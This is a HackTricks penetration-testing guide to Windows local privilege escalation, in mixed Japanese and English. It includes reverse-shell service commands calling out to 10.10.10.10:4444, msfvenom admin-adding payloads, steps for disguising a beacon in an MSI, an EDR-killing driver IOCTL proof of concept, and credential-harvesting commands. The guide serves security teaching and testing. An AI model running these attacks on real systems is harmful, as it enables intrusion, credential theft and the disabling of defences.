Windows Local Privilege Escalation

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！
• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。

Windows のローカル特権昇格ベクターを探すための最良のツール: WinPEAS

Windows の基本理論

Access Tokens

Windows Access Tokens が何か分からない場合は、続行する前に次のページを読んでください：

Access Tokens

ACLs - DACLs/SACLs/ACEs

ACLs - DACLs/SACLs/ACEs に関する詳細は次のページを確認してください：

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Windows の integrity levels が何か分からない場合は、続行する前に次のページを読んでください：

Integrity Levels

Windows セキュリティ コントロール

Windows には、システムの列挙を妨げたり、実行ファイルを実行できなくしたり、あなたの活動を検知したりするさまざまな要素があります。特権昇格の列挙を開始する前に、次のページを読み、これらすべての防御メカニズムを列挙してください：

Windows Security Controls

System Info

Version info enumeration

Windows のバージョンに既知の脆弱性がないか確認してください（適用されているパッチも確認すること）。

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

バージョン別 Exploits

This site は Microsoft のセキュリティ脆弱性に関する詳細情報を検索するのに便利です。 このデータベースには4,700件以上のセキュリティ脆弱性が登録されており、Windows環境が持つ膨大な攻撃対象領域を示しています。

システム上で

• post/windows/gather/enum_patches
• post/multi/recon/local_exploit_suggester
• watson
• winpeas (Winpeas には watson が組み込まれています)

システム情報を使用してローカルで

• https://github.com/AonCyberLabs/Windows-Exploit-Suggester
• https://github.com/bitsadmin/wesng

Github の exploits リポジトリ:

• https://github.com/nomi-sec/PoC-in-GitHub
• https://github.com/abatchy17/WindowsExploits
• https://github.com/SecWiki/windows-kernel-exploits

環境

認証情報や重要な情報が環境変数に保存されていますか？

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShellの履歴

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell トランスクリプトファイル

これを有効にする方法は https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/ で確認できます。

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

PowerShell パイプライン実行の詳細が記録されます。記録される内容には、実行されたコマンド、コマンドの呼び出し、スクリプトの一部が含まれます。ただし、実行の完全な詳細や出力結果がすべてキャプチャされるとは限りません。

To enable this, follow the instructions in the “Transcript files” section of the documentation, opting for “Module Logging” instead of “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Powershell ログの直近15件のイベントを表示するには、次のコマンドを実行します:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

スクリプトの実行に関する活動と内容の完全な記録が取得され、各コードブロックが実行されるたびに文書化されることが保証されます。このプロセスは各活動の包括的な監査証跡を保持し、フォレンジックや悪意ある挙動の解析に有用です。実行時にすべての活動を記録することで、プロセスに関する詳細な洞察が得られます。

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Script Block のログイベントは、Windows イベント ビューアの次のパスにあります: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.\
最後の 20 件のイベントを表示するには、次を使用できます:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

インターネット設定

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

ドライブ

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

更新が httpS ではなく http を使って要求されている場合、システムを侵害できます。

まず、ネットワークが non-SSL の WSUS アップデートを使用しているかを確認するため、cmd で次のコマンドを実行します:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

または、PowerShellで次のように:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

次のような返信が返ってきた場合：

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1.

Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.

In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject ‘fake’ updates into non-SSL WSUS traffic.

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
Basically, this is the flaw that this bug exploits:

If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.

Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.

You can exploit this vulnerability using the tool WSUSpicious (once it’s liberated).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:

Abusing Auto Updaters And Ipc

KrbRelayUp

A local privilege escalation vulnerability exists in Windows domain environments under specific conditions. These conditions include environments where LDAP signing is not enforced, users possess self-rights allowing them to configure Resource-Based Constrained Delegation (RBCD), and the capability for users to create computers within the domain. It is important to note that these requirements are met using default settings.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

meterpreterセッションがある場合、モジュール exploit/windows/local/always_install_elevated を使ってこの手法を自動化できます。

PowerUP

Write-UserAddMSI コマンドを PowerUP から使用して、カレントディレクトリに Windows MSI バイナリを作成し、privilege escalation を行います。 このスクリプトはプリコンパイル済みの MSI インストーラを書き出し、ユーザ/グループの追加を促します（なので GIU アクセスが必要です）：

Write-UserAddMSI

Just execute the created binary to escalate privileges.

MSI Wrapper

Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a “.bat” file if you just want to execute command lines

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

• Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in C:\privesc\beacon.exe
  • Cobalt Strike または Metasploit を使って、C:\privesc\beacon.exe として new Windows EXE TCP payload を Generate します。
• Open Visual Studio, select Create a new project and type “installer” into the search box. Select the Setup Wizard project and click Next.
  • Visual Studio を開き、Create a new project を選択して検索ボックスに「installer」と入力します。Setup Wizard プロジェクトを選択して Next をクリックします。
• Give the project a name, like AlwaysPrivesc, use C:\privesc for the location, select place solution and project in the same directory, and click Create.
  • プロジェクト名を AlwaysPrivesc のように設定し、ロケーションに C:\privesc を使用し、place solution and project in the same directory を選択して Create をクリックします。
• Keep clicking Next until you get to step 3 of 4 (choose files to include). Click Add and select the Beacon payload you just generated. Then click Finish.
  • Next を続けてクリックし、4 ステップ中のステップ 3（含めるファイルの選択）まで進みます。Add をクリックして先ほど生成した Beacon ペイロードを選択し、Finish をクリックします。
• Highlight the AlwaysPrivesc project in the Solution Explorer and in the Properties, change TargetPlatform from x86 to x64.
  • Solution Explorer で AlwaysPrivesc プロジェクトを選択し、Properties で TargetPlatform を x86 から x64 に変更します。
• There are other properties you can change, such as the Author and Manufacturer which can make the installed app look more legitimate.
  • インストールされたアプリをより正当らしく見せるために、Author や Manufacturer のような他のプロパティを変更できます。
• Right-click the project and select View > Custom Actions.
  • プロジェクトを右クリックして View > Custom Actions を選択します。
• Right-click Install and select Add Custom Action.
  • Install を右クリックして Add Custom Action を選択します。
• Double-click on Application Folder, select your beacon.exe file and click OK. This will ensure that the beacon payload is executed as soon as the installer is run.
  • Application Folder をダブルクリックし、beacon.exe ファイルを選択して OK をクリックします。これにより、インストーラが実行されるとすぐに beacon ペイロードが実行されるようになります。
• Under the Custom Action Properties, change Run64Bit to True.
  • Custom Action Properties の下で Run64Bit を True に変更します。
• Finally, build it.
  • 最後に、ビルドします。
• If the warning File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' is shown, make sure you set the platform to x64.
  • File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' という警告が表示された場合は、プラットフォームが x64 に設定されていることを確認してください。

MSI Installation

To execute the installation of the malicious .msi file in background:

• 悪意のある .msi ファイルの インストール を バックグラウンド で実行するには：

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

この脆弱性を悪用するには次を使用できます: exploit/windows/local/always_install_elevated

アンチウイルスと検出

監査設定

これらの設定は何がログに記録されるかを決定するため、注意を払う必要があります。

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding は、ログがどこに送信されているかを知るのは興味深いです

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS はドメインに参加しているコンピュータ上の local Administrator passwords の管理 を目的に設計されており、各パスワードが 一意でランダム化され、定期的に更新される ことを保証します。これらのパスワードは Active Directory 内に安全に格納され、ACLs を通じて十分な権限が付与されたユーザーのみがアクセスでき、許可されている場合に local admin passwords を閲覧できます。

LAPS

WDigest

有効な場合、plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service)。
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Windows 8.1以降、MicrosoftはLocal Security Authority (LSA)に対する保護を強化し、信頼されていないプロセスによるメモリの読み取りやコードの注入を試みる行為をブロックして、システムをさらに保護しました。
More info about LSA Protection here.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard は Windows 10 で導入されました。デバイスに保存された資格情報を pass-the-hash 攻撃のような脅威から保護することを目的としています。| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials は Local Security Authority (LSA) によって認証され、オペレーティングシステムのコンポーネントによって利用されます。ユーザーのログオン情報が登録済みのセキュリティパッケージによって認証されると、通常そのユーザーの domain credentials が生成されます。\
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

ユーザーとグループ

ユーザーとグループの列挙

自分が所属するグループの中に、興味深い権限を持つものがないか確認してください。

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

特権グループ

あなたが いずれかの特権グループに属している場合、権限を昇格できる可能性があります。特権グループと、それらを悪用して権限を昇格する方法については、こちらを参照してください:

Privileged Groups

Token manipulation

詳しくは このページで token が何かを確認してください: Windows Tokens.
次のページを確認して、興味深い tokens について学ぶ とそれらを悪用する方法を確認してください:

Abusing Tokens

ログオンユーザー / セッション

qwinsta
klist sessions

ホームフォルダ

dir C:\Users
Get-ChildItem C:\Users

パスワードポリシー

net accounts

クリップボードの内容を取得する

powershell -command "Get-Clipboard"

実行中のプロセス

ファイルとフォルダの権限

まず、プロセスを列挙して、プロセスの command line 内にパスワードがないかを確認する。
実行中の binary を上書きできるか、または binary folder に書き込み権限があるかを確認して、可能な DLL Hijacking attacks を悪用できるか調べる：

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

常にelectron/cef/chromium debuggers running, you could abuse it to escalate privileges。

プロセスのバイナリのパーミッションを確認する

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

プロセスのバイナリのフォルダの権限をチェックする (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

実行中のプロセスのメモリダンプは sysinternals の procdump を使って作成できます。FTP のようなサービスは credentials in clear text in memory を保持していることがあり、メモリをダンプしてその credentials を読み取ってみてください。

procdump.exe -accepteula -ma <proc_name_tasklist>

安全でない GUI アプリ

SYSTEM として実行されているアプリケーションは、ユーザーに CMD を起動させたり、ディレクトリを参照させたりする可能性があります。

Example: “Windows Help and Support” (Windows + F1), search for “command prompt”, click on “Click to open Command Prompt”

サービス

Service Triggers により、Windows は特定の条件（named pipe/RPC endpoint activity、ETW events、IP availability、device arrival、GPO refresh など）が発生した際にサービスを起動できます。SERVICE_START rights がなくても、トリガーを発生させることで権限の高いサービスを起動できることがよくあります。列挙と起動の手法は以下を参照してください:

Service Triggers

サービスの一覧を取得する:

net start
wmic service list brief
sc query
Get-Service

権限

サービスの情報を取得するには sc を使用できます。

sc qc <service_name>

各サービスの必要な特権レベルを確認するために、Sysinternals のバイナリ accesschk を用意しておくことを推奨します。

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

“Authenticated Users“が任意のサービスを変更できるかどうか確認することを推奨します:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

ここからXP用accesschk.exeをダウンロードできます

サービスを有効化

このエラーが発生している場合（例：SSDPSRV）:

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

次のコマンドで有効にできます

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

サービス upnphost が動作するには SSDPSRV に依存していることに注意してください (for XP SP1)

この問題の別の回避策は次を実行することです:

sc.exe config usosvc start= auto

サービスのバイナリパスを変更する

「Authenticated users」グループがサービスに対して SERVICE_ALL_ACCESS を持っている場合、サービスの実行可能なバイナリを変更することが可能です。変更して実行するには sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

サービスの再起動

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

特権は以下のようなさまざまな権限を通じて昇格できます:

• SERVICE_CHANGE_CONFIG: サービスバイナリの再設定を可能にします。
• WRITE_DAC: 権限の再設定を可能にし、結果としてサービス構成を変更する能力につながります。
• WRITE_OWNER: 所有権の取得と権限の再設定を許可します。
• GENERIC_WRITE: サービス構成を変更する能力を含みます。
• GENERIC_ALL: 同様にサービス構成を変更する能力を含みます。

この脆弱性の検出と悪用には、 exploit/windows/local/service_permissions を利用できます。

サービスバイナリの弱い権限

Check if you can modify the binary that is executed by a service or if you have write permissions on the folder where the binary is located (DLL Hijacking).
サービスによって実行されるすべてのバイナリは wmic を使って取得でき（system32 ではない）、権限は icacls で確認できます:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

また、sc と icacls を使用できます:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

サービスレジストリの変更権限

任意のサービスレジストリを変更できるか確認してください.
サービスのレジストリに対する権限を確認するには、次のようにします:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Authenticated Users または NT AUTHORITY\INTERACTIVE が FullControl 権限を持っているか確認してください。もしそうなら、サービスによって実行されるバイナリを変更できます。

実行されるバイナリのパスを変更するには：

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory 権限

レジストリに対してこの権限を持っている場合、このレジストリからサブレジストリを作成できます。Windows services の場合、これは任意のコードを実行するのに十分です:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

実行ファイルへのパスが引用符で囲まれていない場合、Windows は空白の直前までの各候補を順に実行しようとします。

例えば、パス C:\Program Files\Some Folder\Service.exe の場合、Windows は以下を実行しようとします：

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

組み込みの Windows サービスに属するものを除き、引用符で囲まれていないすべてのサービスパスを一覧表示:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

検出して悪用できます この脆弱性はmetasploitで: exploit/windows/local/trusted\_service\_path metasploitでサービスバイナリを手動で作成できます:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

リカバリーアクション

Windowsでは、サービスが失敗した場合に実行されるアクションをユーザーが指定できます。この機能はバイナリを指すように設定できます。このバイナリを置き換え可能であれば、権限昇格が可能になる場合があります。詳細は公式ドキュメントを参照してください。

アプリケーション

インストール済みアプリケーション

バイナリの権限（上書きできれば権限昇格できるかもしれません）およびフォルダの権限を確認してください（DLL Hijacking）。

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

書き込み権限

設定ファイルを変更して特定のファイルを読み取れるか、または Administrator アカウントによって実行されるバイナリ（schedtasks）を変更できるか確認してください。

システム内の弱いフォルダ／ファイルの権限を見つける方法の一つは次のとおりです:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

起動時に実行

別のユーザーによって実行されるレジストリやバイナリを上書きできるか確認する。
読む 次のページ を参照し、権限昇格のための興味深い autoruns の場所 について詳しく学んでください:

Privilege Escalation with Autoruns

ドライバ

可能性のある サードパーティの奇妙/脆弱な ドライバを探す

driverquery
driverquery.exe /fo table
driverquery /SI

ドライバが任意のカーネル読み書きプリミティブを公開している場合（不適切に設計された IOCTL ハンドラで一般的）、カーネルメモリから直接 SYSTEM token を奪取して権限昇格できます。ステップバイステップの手法は以下を参照してください:

Arbitrary Kernel Rw Token Theft

脆弱な呼び出しが攻撃者が制御する Object Manager パスを開くようなレースコンディションバグでは、lookup を意図的に遅延させる（最大長コンポーネントや深いディレクトリチェーンを使用）ことで、ウィンドウをマイクロ秒から数十マイクロ秒にまで拡張できます:

Kernel Race Condition Object Manager Slowdown

Registry hive memory corruption primitives

Modern hive vulnerabilities let you groom deterministic layouts, abuse writable HKLM/HKU descendants, and convert metadata corruption into kernel paged-pool overflows without a custom driver. Learn the full chain here:

Windows Registry Hive Exploitation

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

一部の署名されたサードパーティ製ドライバは、IoCreateDeviceSecure を使って強い SDDL で device object を作成しますが、DeviceCharacteristics に FILE_DEVICE_SECURE_OPEN を設定し忘れることがあります。このフラグがないと、追加のコンポーネントを含むパスでデバイスが開かれた場合に secure DACL が適用されず、任意の権限のないユーザが次のような名前空間パスを使ってハンドルを取得できてしまいます:

• \ .\DeviceName\anything
• \ .\amsdk\anyfile (from a real-world case)

一旦ユーザがデバイスを開けるようになると、ドライバが公開する特権付きの IOCTL は LPE や改ざんに悪用可能です。実際に観測された例:

• 任意のプロセスに対してフルアクセスのハンドルを返す（token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser）。
• 制限なしの raw disk 読み書き（offline tampering、boot-time persistence tricks）。
• Protected Process/Light (PP/PPL) を含む任意のプロセスを終了させ、カーネル経由でユーザランドから AV/EDR を kill できるようにする。

Minimal PoC pattern (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

開発者向けの緩和策

• DACLで制限する意図のあるデバイスオブジェクトを作成する際は、FILE_DEVICE_SECURE_OPENを常に設定する。
• 特権操作の呼び出し元コンテキストを検証する。プロセス終了やハンドル返却を許可する前にPP/PPLチェックを追加する。
• IOCTLs（access masks、METHOD_*, 入力検証）を制限し、直接カーネル権限を与える代わりにブローカー型モデルを検討する。

防御者向けの検出アイデア

• ユーザーモードによる疑わしいデバイス名（例: \ .\amsdk*）へのopen操作と、悪用を示す特定のIOCTLシーケンスを監視する。
• Microsoftのvulnerable driver blocklist（HVCI/WDAC/Smart App Control）を適用し、独自のallow/denyリストを維持する。

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

Check permissions of all folders inside PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

このチェックを悪用する方法の詳細については次を参照してください:

Writable Sys Path +Dll Hijacking Privesc

ネットワーク

共有

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

hosts file にハードコードされた他の既知のコンピュータを確認する

type C:\Windows\System32\drivers\etc\hosts

ネットワークインターフェースとDNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

外部から制限されたサービスを確認する

netstat -ano #Opened ports?

ルーティングテーブル

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP テーブル

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

ファイアウォールのルール

Check this page for Firewall related commands （ルール一覧、ルール作成、無効化、無効化…）

さらに commands for network enumeration here

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

バイナリ bash.exe は C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe にもあります。

root user を取得すると任意のポートでリッスンできます（nc.exe をポートでリッスンするのは最初に行うときだけで、GUI により nc をファイアウォールで許可するかどうかを確認されます）。

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

簡単にrootでbashを起動するには、--default-user root を試してください

